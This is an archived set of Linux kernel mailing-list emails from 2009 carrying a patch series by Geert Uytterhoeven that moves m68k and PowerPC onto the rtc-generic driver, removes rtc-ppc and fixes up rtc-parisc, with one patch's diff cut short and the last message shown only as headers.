Xref: news.gmane.org gmane.linux.ports.parisc:1355 gmane.linux.ports.ppc64.devel:53260 gmane.linux.ports.m68k:519 gmane.linux.kernel:804307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1355>

m68k has been a long time user of the generic RTC abstraction, so hook up
rtc-generic:
  - Create the "rtc-generic" platform device if mach_hwclk is set,
  - Add checks for mach_hwclk, in anticipation of RTC chip drivers being moved
    to drivers/rtc/.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 arch/m68k/include/asm/rtc.h |    7 +++++--
 arch/m68k/kernel/time.c     |   18 ++++++++++++++++++
 drivers/rtc/Kconfig         |    2 +-
 3 files changed, 24 insertions(+), 3 deletions(-)

diff --git a/arch/m68k/include/asm/rtc.h b/arch/m68k/include/asm/rtc.h
index 5d3e038..a4d08ea 100644
--- a/arch/m68k/include/asm/rtc.h
+++ b/arch/m68k/include/asm/rtc.h
@@ -36,13 +36,16 @@ static inline unsigned int get_rtc_time(struct rtc_time *time)
 	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
 	 * by the RTC when initially set to a non-zero value.
 	 */
-	mach_hwclk(0, time);
+	if (mach_hwclk)
+		mach_hwclk(0, time);
 	return RTC_24H;
 }
 
 static inline int set_rtc_time(struct rtc_time *time)
 {
-	return mach_hwclk(1, time);
+	if (mach_hwclk)
+		return mach_hwclk(1, time);
+	return -EINVAL;
 }
 
 static inline unsigned int get_rtc_ss(void)
diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 7db4159..54d9807 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -18,6 +18,7 @@
 #include <linux/string.h>
 #include <linux/mm.h>
 #include <linux/rtc.h>
+#include <linux/platform_device.h>
 
 #include <asm/machdep.h>
 #include <asm/io.h>
@@ -159,3 +160,20 @@ int do_settimeofday(struct timespec *tv)
 }
 
 EXPORT_SYMBOL(do_settimeofday);
+
+
+static int __init rtc_init(void)
+{
+	struct platform_device *pdev;
+
+	if (!mach_hwclk)
+		return -ENODEV;
+
+	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	if (IS_ERR(pdev))
+		return PTR_ERR(pdev);
+
+	return 0;
+}
+
+module_init(rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index d0aeff2..c8ead87 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -681,7 +681,7 @@ config RTC_DRV_GENERIC
 	tristate "Generic RTC support"
 	# Please consider writing a new RTC driver instead of using the generic
 	# RTC abstraction
-	depends on PARISC
+	depends on PARISC || M68K
 	help
 	  Say Y or M here to enable RTC support on systems using the generic
 	  RTC abstraction. If you do not know what you are doing, you should
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 3/7] parisc: rtc: Add missing module alias
Date: Mon,  9 Mar 2009 14:26:19 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605220 32393 80.91.229.12 (9 Mar 2009 13:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:27:00 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 14:28:16 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWQ-00026I-Un
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 14:27:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751694AbZCIN0f (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751636AbZCIN0f
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 09:26:35 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35625 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751240AbZCIN03 (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 09:26:29 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 00CEB58C3A;
	Mon,  9 Mar 2009 14:26:25 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUu-0005v2-Tp; Mon, 09 Mar 2009 14:26:24 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:520 gmane.linux.ports.parisc:1356 gmane.linux.ports.ppc64.devel:53261 gmane.linux.kernel:804309
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1356>

Make udev autoload the driver

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 drivers/rtc/rtc-parisc.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index f4e871c..48ef5b4 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -81,3 +81,4 @@ module_exit(parisc_rtc_fini);
 MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("HP PA-RISC RTC driver");
+MODULE_ALIAS("platform:rtc-parisc");
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 6/7] powerpc: Hook up rtc-generic, and kill rtc-ppc
Date: Mon,  9 Mar 2009 14:26:22 +0100
Lines: 170
Approved: news@gmane.org
Message-ID: <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236605225 32416 80.91.229.12 (9 Mar 2009 13:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:27:05 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	David Woodhouse <dwmw2@infradead.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 14:28:20 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWZ-0002CH-98
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 14:28:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751223AbZCIN0n (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:43 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751573AbZCIN0m
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 09:26:42 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35644 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751223AbZCIN0a (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 09:26:30 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 57A2558C41;
	Mon,  9 Mar 2009 14:26:26 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUw-0005vB-98; Mon, 09 Mar 2009 14:26:26 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:521 gmane.linux.ports.parisc:1357 gmane.linux.ports.ppc64.devel:53262 gmane.linux.kernel:804310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1357>

PowerPC has been a long time user of the generic RTC abstraction, so ho=
ok up
rtc-generic:
  - Create the "rtc-generic" platform device if ppc_md.get_rtc_time is =
set,
  - Kill rtc-ppc, as rtc-generic offers the same functionality in a mor=
e
    generic way, and supports autoloading through udev.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Cc: David Woodhouse <dwmw2@infradead.org>
---
 arch/powerpc/kernel/time.c |   16 ++++++++++
 drivers/rtc/Kconfig        |   10 +------
 drivers/rtc/Makefile       |    1 -
 drivers/rtc/rtc-ppc.c      |   69 ------------------------------------=
--------
 4 files changed, 17 insertions(+), 79 deletions(-)
 delete mode 100644 drivers/rtc/rtc-ppc.c

diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index c956403..926ea86 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -1127,3 +1127,19 @@ void div128_by_32(u64 dividend_high, u64 dividen=
d_low,
 	dr->result_low  =3D ((u64)y << 32) + z;
=20
 }
+
+static int __init rtc_init(void)
+{
+	struct platform_device *pdev;
+
+	if (!ppc_md.get_rtc_time)
+		return -ENODEV;
+
+	pdev =3D platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	if (IS_ERR(pdev))
+		return PTR_ERR(pdev);
+
+	return 0;
+}
+
+module_init(rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index c8ead87..6488c50 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -681,20 +681,12 @@ config RTC_DRV_GENERIC
 	tristate "Generic RTC support"
 	# Please consider writing a new RTC driver instead of using the gener=
ic
 	# RTC abstraction
-	depends on PARISC || M68K
+	depends on PARISC || M68K || PPC
 	help
 	  Say Y or M here to enable RTC support on systems using the generic
 	  RTC abstraction. If you do not know what you are doing, you should
 	  just say Y.
=20
-config RTC_DRV_PPC
-       tristate "PowerPC machine dependent RTC support"
-       depends on PPC
-       help
-	 The PowerPC kernel has machine-specific functions for accessing
-	 the RTC. This exposes that functionality through the generic RTC
-	 class.
-
 config RTC_DRV_PXA
        tristate "PXA27x/PXA3xx"
        depends on ARCH_PXA
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index 9c18a01..bd209a5 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -56,7 +56,6 @@ obj-$(CONFIG_RTC_DRV_PCF8583)	+=3D rtc-pcf8583.o
 obj-$(CONFIG_RTC_DRV_PL030)	+=3D rtc-pl030.o
 obj-$(CONFIG_RTC_DRV_PL031)	+=3D rtc-pl031.o
 obj-$(CONFIG_RTC_DRV_GENERIC)	+=3D rtc-generic.o
-obj-$(CONFIG_RTC_DRV_PPC)	+=3D rtc-ppc.o
 obj-$(CONFIG_RTC_DRV_PXA)	+=3D rtc-pxa.o
 obj-$(CONFIG_RTC_DRV_R9701)	+=3D rtc-r9701.o
 obj-$(CONFIG_RTC_DRV_RS5C313)	+=3D rtc-rs5c313.o
diff --git a/drivers/rtc/rtc-ppc.c b/drivers/rtc/rtc-ppc.c
deleted file mode 100644
index c8e97e2..0000000
--- a/drivers/rtc/rtc-ppc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * RTC driver for ppc_md RTC functions
- *
- * =C2=A9 2007 Red Hat, Inc.
- *
- * Author: David Woodhouse <dwmw2@infradead.org>
- *
- * This program is free software; you can redistribute it and/or modif=
y
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
-
-
-#include <linux/module.h>
-#include <linux/err.h>
-#include <linux/rtc.h>
-#include <linux/platform_device.h>
-#include <asm/machdep.h>
-
-static int ppc_rtc_read_time(struct device *dev, struct rtc_time *tm)
-{
-	ppc_md.get_rtc_time(tm);
-	return 0;
-}
-
-static int ppc_rtc_set_time(struct device *dev, struct rtc_time *tm)
-{
-	return ppc_md.set_rtc_time(tm);
-}
-
-static const struct rtc_class_ops ppc_rtc_ops =3D {
-	.set_time =3D ppc_rtc_set_time,
-	.read_time =3D ppc_rtc_read_time,
-};
-
-static struct rtc_device *rtc;
-static struct platform_device *ppc_rtc_pdev;
-
-static int __init ppc_rtc_init(void)
-{
-	if (!ppc_md.get_rtc_time || !ppc_md.set_rtc_time)
-		return -ENODEV;
-
-	ppc_rtc_pdev =3D platform_device_register_simple("ppc-rtc", 0, NULL, =
0);
-	if (IS_ERR(ppc_rtc_pdev))
-		return PTR_ERR(ppc_rtc_pdev);
-
-	rtc =3D rtc_device_register("ppc_md", &ppc_rtc_pdev->dev,
-				  &ppc_rtc_ops, THIS_MODULE);
-	if (IS_ERR(rtc)) {
-		platform_device_unregister(ppc_rtc_pdev);
-		return PTR_ERR(rtc);
-	}
-
-	return 0;
-}
-
-static void __exit ppc_rtc_exit(void)
-{
-	rtc_device_unregister(rtc);
-	platform_device_unregister(ppc_rtc_pdev);
-}
-
-module_init(ppc_rtc_init);
-module_exit(ppc_rtc_exit);
-
-MODULE_LICENSE("GPL");
-MODULE_AUTHOR("David Woodhouse <dwmw2@infradead.org>");
-MODULE_DESCRIPTION("Generic RTC class driver for PowerPC");
--=20
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: [PATCH 1/7] parisc: rtc: get_rtc_time() returns unsigned int
Date: Mon,  9 Mar 2009 14:26:17 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605236 32455 80.91.229.12 (9 Mar 2009 13:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:27:16 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 14:28:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWN-00026I-9i
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 14:27:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751478AbZCIN0c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751400AbZCIN0b
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 09:26:31 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35594 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751227AbZCIN01 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 09:26:27 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 245FF58C2F;
	Mon,  9 Mar 2009 14:26:24 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUt-0005uw-VW; Mon, 09 Mar 2009 14:26:23 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1358 gmane.linux.ports.ppc64.devel:53263 gmane.linux.ports.m68k:522 gmane.linux.kernel:804311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1358>

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 drivers/rtc/rtc-parisc.c |    4 +---
 1 files changed, 1 insertions(+), 3 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index b966f56..620b949 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -13,9 +13,7 @@
 
 static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 {
-	unsigned long ret;

From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: [PATCH 2/7] parisc: rtc: platform_driver_probe() fixups
Date: Mon,  9 Mar 2009 14:26:18 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605240 32467 80.91.229.12 (9 Mar 2009 13:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:27:20 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	dann frazier <dannf@hp.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 14:28:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWQ-00026I-1f
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 14:27:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751243AbZCIN0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751509AbZCIN0c
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 09:26:32 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35607 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751243AbZCIN02 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 09:26:28 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 936DA58C32;
	Mon,  9 Mar 2009 14:26:24 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUu-0005uz-Gw; Mon, 09 Mar 2009 14:26:24 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1359 gmane.linux.ports.ppc64.devel:53264 gmane.linux.ports.m68k:523 gmane.linux.kernel:804312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1359>

When using platform_driver_probe(), it's not needed to setup a .probe
function, and .remove should be marked __exit_p(), not __devexit_p().

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Cc: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index 620b949..f4e871c 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -62,8 +62,7 @@ static struct platform_driver parisc_rtc_driver = {
 		.name = "rtc-parisc",
 		.owner = THIS_MODULE,
 	},
-	.probe = parisc_rtc_probe,
-	.remove = __devexit_p(parisc_rtc_remove),
+	.remove = __exit_p(parisc_rtc_remove),
 };
 
 static int __init parisc_rtc_init(void)
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon,  9 Mar 2009 14:26:23 +0100
Lines: 270
Approved: news@gmane.org
Message-ID: <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605249 32501 80.91.229.12 (9 Mar 2009 13:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:27:29 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	Geoff Levand <geoffrey.levand@am.sony.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 14:28:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWU-00026I-Rb
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 14:28:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751691AbZCIN0k (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751793AbZCIN0h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 09:26:37 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35649 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751326AbZCIN0a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 09:26:30 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id BBA0C58C48;
	Mon,  9 Mar 2009 14:26:26 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUw-0005vE-MC; Mon, 09 Mar 2009 14:26:26 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
